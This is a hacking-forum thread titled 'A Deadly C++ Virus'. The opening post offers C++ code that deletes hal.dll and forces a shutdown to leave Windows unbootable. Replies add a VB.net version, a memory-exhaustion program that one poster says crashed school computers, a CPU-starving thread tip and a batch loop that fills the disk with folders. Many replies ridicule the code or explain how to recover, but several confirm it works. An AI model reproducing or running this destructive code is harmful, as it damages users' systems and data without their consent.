

Forum:[Hack Forums](#)

Thread: [\[CODE\] A Deadly C++ Virus](#)

aztech - July 8, 2011, 4:48 am

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

```
Code #include
#include
```

```
using namespace std;
```

```
int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be
wrong was made by getores. Here it is:
```

```
#include
#include
```

```
using namespace std;
```

```
int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
```

Mr. 8 - July 8, 2011, 4:52 am

I have tried this with XP service pack 3 in a virtual machine and can confirm it works.

wertyl11 - July 8, 2011, 5:03 am

Code Public Class Form1

```
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
IO.File.Delete("C:\\windows\\system32\\hal.dll")
Process.Start("shutdown", "-s")
End Sub
End Class
```

Just as dangerous virus in VB.net

Terence McKenna - July 8, 2011, 5:04 am

That is really dangerous, I'm not compiling that :P

Dbof - July 8, 2011, 5:05 am

I guess this does not work on Windows without administrative rights.

wertyl11 - July 8, 2011, 5:06 am

(Jul 8, 2011 05:05 AM)Dbof Wrote: [\[CITE\]](#) I guess this does not work on Windows without administrative rights.

Yeah, luckily it needs administrative rights :D

RDCA - July 8, 2011, 5:08 am

Files can be restored, just because you get rid of it does not mean people can't fix it.

Flying Cow - July 8, 2011, 5:23 am

Are you just copying this from the 10.000 people who made this before?

This is just shit.

vive facile - July 8, 2011, 7:55 am

What stops them from putting hal.dll back into the correct directory? (and no, you do not need to boot windows to do that).

rayven18 - July 8, 2011, 2:07 pm

Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!

((void (*)())NULL)() - July 8, 2011, 2:22 pm

You might as well do this with Batch. Two out of the three payloads were system().

Navigator - July 8, 2011, 4:08 pm

(Jul 8, 2011 02:07 PM)rayven18 Wrote: [\[CITE\]](#) Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!

It won't burn your CPU and an application has a memory limit of 2GB - if it exceeds this limit, it gets terminated. If you really want to drain all the CPU power and make the system unresponsive then the way is to determine the number of CPU cores and spawn an endless thread with the priority `THREAD_PRIORITY_TIME_CRITICAL` for each core.

StephenRoos - July 8, 2011, 5:23 pm

(Jul 8, 2011 04:48 AM)aztech Wrote: [\[CITE\]](#) After deleting that, it shuts down, never to start again.

Unless they take five seconds to google "windows won't start" and then figure out how to go to the repair console and type "bootcfg".

You're a retard.

THEOLLIE8 - July 8, 2011, 6:10 pm

you can do better with a batch file, that's erally a waste of c++, but still good job anyway

vive facile - July 8, 2011, 6:10 pm

(Jul 8, 2011 02:07 PM)rayven18 Wrote: [\[CITE\]](#) Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!

You're better off with a vector of long pointers, and create a new long variable in freestore in an endless loop, it will shut the computer down in a few seconds. Did this in my computers at college, and it shut them down.

EDIT: I found the code I wrote a very long time ago which crashed a few school computers. Pretty funny when windows just restarts. Note, this does not work on linux, as linux will start deleting the memory to make room for more.

```
Code #include <iostream>
```

```
#include <vector>
```

```
using namespace std;
```

```
int main()
```

```
{
```

```
    vector<int*> ptr;
```

```
    int num1 = 987654321;
```

```
    for(int i = 0; i < num1; i++)
```

```
        ptr.push_back(new int(i));
```

```
    return 0;
```

```
}
```

TheDarkOne - January 24, 2012, 10:48 pm

Oh i so might compile this on one of my computers i don't give a shit about. Nice make XD

Fit-etar - January 25, 2012, 8:02 am

It's sort of fun that you use #include without including anything ?

I don't think it works at all - and it is not you, who created it. Sorry to say that...

g4143 - January 25, 2012, 8:04 am

Wow you delete a file with administrative rights. Pardon me if I'm not impressed.

Manzzup - January 25, 2012, 9:25 am

no it wont blow the CPU because the OS would rather decide to whack out the task than risking own self [anyway this can chage according to what the OS think :D]

anyhow, the virus doesnt seem so effective, because replacing a dll is hardly considered big repair work these days + not gonna work in OS after XP with that stupid Admin security thingy

S_C_A_R - January 25, 2012, 2:27 pm

Really, you can write all that in a batch file and just convert that one to an executable, if you want to have it as a .exe.

TMNT - January 25, 2012, 2:46 pm

(Jul 8, 2011 04:48 AM)aztech Wrote: [CITE](#) This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

```
Code #include
#include
```

```
using namespace std;
```

```
int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
```

}A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:

```
#include
#include
```

```
using namespace std;
```

```
int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
```

Great job I also test it on win7 worked fine.

FlukiestEmperor - January 25, 2012, 11:47 pm

(Jul 8, 2011 02:07 PM)rayven18 Wrote: [CITE](#) Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!

Windows programs have a limit of only being able to use 2gb.

Even if windows allowed you to use up all the ram on the system with one program, it would simply begin paging.

And how in anyway would this break the CPU as you imply?

Gh0st-Zer0 - January 26, 2012, 3:47 pm

What is dangerous guys??? It can be fixed very easy by inserting the windows cd and fix the missing dll's in our case the dll is hal.dll, also you can modify the boot.ini file on the fly and manage to start windows without hal.dll!

StaTiX - January 27, 2012, 6:13 am

Why is op a skid:

- 1.UAC , if youre not an admin you cant even touch the windows files
- 2.Does "use namespace std; " , and adds std:: to call the functions from the std class , use one god damn it
- 3.uses system();
- 4.does not know c++ for shit

Caffeine - January 27, 2012, 6:24 am

Nice find. Too bad that wouldn't work on my Mac =P

Rendering a machine completely useless is pretty malicious.

DerekDub - January 30, 2012, 5:09 pm

(Jan 26, 2012 04:47 PM)Gh0st-Zer0 Wrote: [\[CITE\]](#) What is dangerous guys??? It can be fixed very easy by inserting the windows cd and fix the missing dll's in our case the dll is hal.dll, also you can modify the boot.ini file on the fly and manage to start windows without hal.dll!

But it's very inconvenient and a lot of average people won't know to do that. Plus a lot of people throw there windows cd away because they don't know what it is....

stdiorocks - January 31, 2012, 3:45 am

You guys call this virus deadly. lmao.
please read some more....

Alienguy - January 31, 2012, 3:55 am

Correct me if I'm wrong but Why did you used std::remove?

Only remove will also work as you've already written "using namespace std"

Q:Why is system pause bad?

A: It's not portable, and its usage heavy.

Use cin.ignore or getch() { you'll have to include conio.h} instead.

Nichole - January 31, 2012, 7:54 am

Hal.dll will just recreate its self once deleted. If it ever were to be deleted, boot into the hidden recovery drive and copy hal.dll back.

TnhFamouz - January 31, 2012, 8:39 am

That's pretty deadly. But can't you recover that file or something?

'Snorlax - February 18, 2013, 12:21 am

HAHAHHAHA! Deadly my ass.

Go and do a system restore and the file is back.

daiamp - February 18, 2013, 7:50 am

(Jul 8, 2011 04:48 AM)aztech Wrote: [\[CITE\]](#) This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

Code #include

#include

using namespace std;

```
int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
```

A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:

```
#include
#include
```

```
using namespace std;
```

```
int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
```

That's not even a virus, a virus has to reproduce, that's just malware.

Automatic Coding - February 18, 2013, 7:54 am

I've proved multiple times in the lounge that this doesn't work, at-least with windows 7 64bit. Windows will simply tell you to fuck off when touching anything in %windir% or a subfolder of it.

The only way this would work would be to use:-

- A. A different OS that doesn't respect window's rules, but, still can read NTFS
- B. Go through a long process (of ~ 15 minutes) taking control of files & editing their flags (And even in that case the majority of files still get access denied errors)
- C. Modify the sectors as sectors, not as files (No idea if this one would work, complete guess)

Both of which is completely stupid, because in ~ 5 minutes you can recover the data with the Windows 7 install disk. Best way would be to wipe track 0, or slowly delete random sectors.

stdio - February 18, 2013, 8:34 am

i wont even call it a virus
no offense :)

Sadlarry404 - February 19, 2013, 12:31 am

Yeah, maybe it's deadly to someone who doesn't know how to use a windows disk and recovery console.

Michael. - February 19, 2013, 12:39 am

Deadly is a stretch. I can't say it doesn't work but it's definitely not deadly.

Kroflica - February 19, 2013, 8:35 am

95% people in this thread do not know what std::remove does. clap

amus3d - February 19, 2013, 8:40 am

This isn't a virus. "Virus" implies it copies itself to files (not the exact definition, but close enough).

If anything, this is a malicious file.

In all honesty, (even though this thread is 2 years old), there was no point in posting this "virus" as this "code" can be achieved in pretty much any language in a couple lines of code.

N3wb Gamer - February 19, 2013, 8:43 am

This isn't deadly. I can easily restore my computer or use a Windows 7 DVD and copy the file from the CD to the HD.

Mafugsa Bob - February 19, 2013, 8:52 am

```
:a
    mkdir %random%
goto a
```

Is more deadlier. Doesn't require compiling and it's shorter.

OP, you're so silly.

iVision - February 19, 2013, 10:41 am

Why do you people actually respond to this old thread, just let it die again ffs.